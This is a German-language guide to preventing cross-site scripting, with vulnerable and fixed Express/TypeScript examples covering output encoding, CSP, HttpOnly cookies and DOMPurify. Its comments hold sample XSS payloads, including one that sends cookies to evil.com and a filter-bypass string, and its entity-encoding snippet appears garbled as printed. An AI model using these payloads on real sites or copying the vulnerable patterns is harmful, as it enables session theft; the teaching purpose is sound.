Cross-Site-Scripting verhindern: Der vollständige Leitfaden
Wie Cross-Site-Scripting-Angriffe funktionieren, die drei XSS-Typen und die Defense-in-Depth-Strategien, die sie wirklich verhindern.

Cross-Site-Scripting ist nach wie vor die häufigste Web-Schwachstelle und tritt in etwa 40 % aller getesteten Webanwendungen auf. Obwohl das Problem seit über zwei Jahrzehnten bekannt ist, hält sich XSS hartnäckig, weil das grundlegende Problem – die Vermischung von Nutzerdaten und Code – tief im Aufbau des Webs verankert ist. HTML, CSS und JavaScript teilen sich dasselbe Dokument, und der Browser kann nicht unterscheiden, welcher Code von dir stammt und welcher von einem Angreifer eingeschleust wurde.
Die gute Nachricht: Moderne Strategien zur mehrschichtigen Verteidigung erschweren die Ausnutzung von XSS erheblich. Die schlechte Nachricht: Man braucht sie alle, nicht nur eine.
Die drei Arten von XSS
Wer die drei Angriffsvektoren versteht, weiß auch, welche Abwehrmaßnahmen jeweils greifen.
Reflektiertes XSS
Das Skript stammt aus der aktuellen HTTP-Anfrage – meist ein URL-Parameter, der direkt in die Seite gerendert wird.
// ❌ Vulnerable — user input rendered as HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`);
// URL: /search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
});
// ✅ Safe — output encoding prevents script execution
import { encode } from 'html-entities';
app.get('/search', (req, res) => {
const query = encode(req.query.q as string);
res.send(`<h1>Results for: ${query}</h1>`);
// Renders: <script> — displayed as text, not executed
});Gespeichertes XSS
Das Skript wird in der Datenbank gespeichert und anderen Nutzern ausgeliefert. Kommentarbereiche, Profilfelder und Forenbeiträge sind klassische Ziele.
// ❌ Stored XSS — malicious comment saved and rendered to all users
app.post('/comments', async (req, res) => {
await db.comments.create({ body: req.body.comment });
// If comment is: <img src=x onerror="stealCookies()">
// Every subsequent visitor executes the script
});
// ✅ Sanitize on input, encode on output
import DOMPurify from 'isomorphic-dompurify';
app.post('/comments', async (req, res) => {
const sanitized = DOMPurify.sanitize(req.body.comment, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
});
await db.comments.create({ body: sanitized });
});DOM-basiertes XSS
Das Skript gelangt nie zum Server. Clientseitiges JavaScript liest aus einer vom Angreifer kontrollierten Quelle (URL, window.name, postMessage) und schreibt sie in das DOM.
// ❌ DOM XSS — reads hash, writes to innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.innerHTML = userInput;
// URL: page.html#<img src=x onerror=alert(1)>
// ✅ Safe — use textContent instead of innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.textContent = userInput;
// Text is inserted as text, never parsed as HTMLAusgabecodierung
Die wichtigste Abwehrmaßnahme: Nutzerdaten abhängig vom jeweiligen Ausgabekontext codieren. Jeder Kontext verlangt eine andere Codierung.
// Context-aware encoding — the output context determines the encoding
const encoders = {
// HTML context: <div>{userInput}</div>
html: (s: string) => s
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, '''),
// Attribute context: <div data-value="{userInput}">
attribute: (s: string) => s
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, '''),
// JavaScript context: var x = '{userInput}'
javascript: (s: string) => JSON.stringify(s),
// URL parameter context: /search?q={userInput}
url: (s: string) => encodeURIComponent(s),
};// ❌ Wrong context encoding — HTML encoding in a URL parameter
const link = `<a href="/search?q=${encoders.html(userInput)}">Search</a>`;
// XSS possible: userInput = "test" onmouseover="alert(1)"
// ✅ Correct context — URL encoding for URL parameter
const link = `<a href="/search?q=${encoders.url(userInput)}">Search</a>`;React, Vue und Angular übernehmen die HTML-Codierung für interpolierte Ausdrücke automatisch. Aber dangerouslySetInnerHTML, v-html und [innerHTML] umgehen diesen Schutz vollständig – verwende sie nur mit bereits sanitisierten Inhalten.
Content Security Policy
CSP ist deine zweite Verteidigungslinie. Sie teilt dem Browser mit, welche Skripte ausgeführt werden dürfen, sodass eingeschleuste Skripte von vornherein wirkungslos bleiben.
// Express CSP middleware
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy', [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: https:`,
`connect-src 'self' https://api.example.com`,
`frame-ancestors 'none'`,
`base-uri 'self'`,
`form-action 'self'`,
].join('; '));
next();
});<!-- Only scripts with the correct nonce execute -->
<script nonce="abc123">
// This executes — nonce matches
initApp();
</script>
<script>
// This is BLOCKED by CSP — no nonce
stealCookies();
</script>Beginne mit Content-Security-Policy-Report-Only, um Verstöße zu beobachten, ohne die Seite zu gefährden, und wechsle danach in den erzwingenden Modus:
// Report-only mode — logs violations without blocking
res.setHeader('Content-Security-Policy-Report-Only', [
`default-src 'self'`,
`script-src 'self'`,
`report-uri /api/csp-violations`,
].join('; '));
// Log CSP violations for analysis
app.post('/api/csp-violations', (req, res) => {
logger.warn('CSP violation', req.body);
res.status(204).send();
});Cookie-Schutz
Selbst wenn XSS alle anderen Abwehrmaßnahmen umgeht, verhindern die richtigen Cookie-Flags das folgenschwerste Ergebnis: Session-Hijacking.
// ❌ Cookies accessible to JavaScript — XSS can steal them
res.cookie('session', token, {
path: '/',
});
// ✅ Protected cookies — XSS cannot read or exfiltrate them
res.cookie('session', token, {
httpOnly: true, // Not accessible via document.cookie
secure: true, // Only sent over HTTPS
sameSite: 'lax', // Prevents CSRF
path: '/',
maxAge: 86400000, // 24 hours
});httpOnly ist das entscheidende Flag. Ohne es kann jede XSS-Payload Session-Cookies über document.cookie exfiltrieren.
Input-Sanitization
Wenn Nutzer formatierte Inhalte einreichen müssen (Markdown, HTML), sanitisiere sie, um sicheres Formatieren zu ermöglichen und gefährliche Elemente zu entfernen.
import DOMPurify from 'isomorphic-dompurify';
// ❌ Naive sanitization — easy to bypass
function naiveSanitize(html: string): string {
return html.replace(/<script>/gi, '').replace(/<\/script>/gi, '');
// Bypassed by: <scr<script>ipt>alert(1)</scr</script>ipt>
}
// ✅ Use a battle-tested sanitization library
function sanitizeUserContent(html: string): string {
return DOMPurify.sanitize(html, {
ALLOWED_TAGS: [
'h2', 'h3', 'p', 'a', 'ul', 'ol', 'li',
'strong', 'em', 'code', 'pre', 'blockquote', 'br',
],
ALLOWED_ATTR: ['href', 'class'],
ALLOW_DATA_ATTR: false,
});
}Schreibe niemals einen eigenen HTML-Sanitizer. Auf Regex basierende Sanitization lässt sich immer umgehen. DOMPurify wandelt HTML in einen DOM-Baum um und entfernt gefährliche Knoten – ein grundlegend robusterer Ansatz.
Mehrschichtige Verteidigung
Keine einzelne Abwehrmaßnahme verhindert jede Form von XSS. Kombiniere sie in mehreren Schichten:
| Abwehrmaßnahme | Verhindert | Einschränkung |
|---|---|---|
| Ausgabecodierung | Reflektiertes und gespeichertes XSS | Erfordert den richtigen Kontext |
| CSP mit Nonces | Injektion von Inline-Skripten | Verhindert kein DOM-basiertes XSS |
| HttpOnly-Cookies | Session-Hijacking über XSS | Andere Daten bleiben zugänglich |
| Input-Sanitization | Gespeichertes XSS in formatierten Inhalten | Nur für Felder mit erlaubtem HTML |
| Automatisches Escaping des Frameworks | Die meisten Template-Injektionen | Durch rohe HTML-Methoden umgehbar |
Die wichtigsten Erkenntnisse
- Codiere die Ausgabe kontextabhängig – HTML-, Attribut-, URL- und JavaScript-Kontexte brauchen jeweils eine andere Codierung
- Setze CSP mit Nonces ein – blockiert eingeschleuste Skripte selbst dann, wenn die Codierung fehlt
- Setze HttpOnly bei Session-Cookies – verhindert die folgenschwerste Auswirkung von XSS (Session-Hijacking)
- Verwende DOMPurify für formatierte Inhalte – schreibe niemals einen eigenen HTML-Sanitizer
- Vermeide innerHTML und dangerouslySetInnerHTML – nutze stattdessen textContent oder die Interpolation des Frameworks
- Verteidige in mehreren Schichten – keine einzelne Technik verhindert alle XSS-Varianten


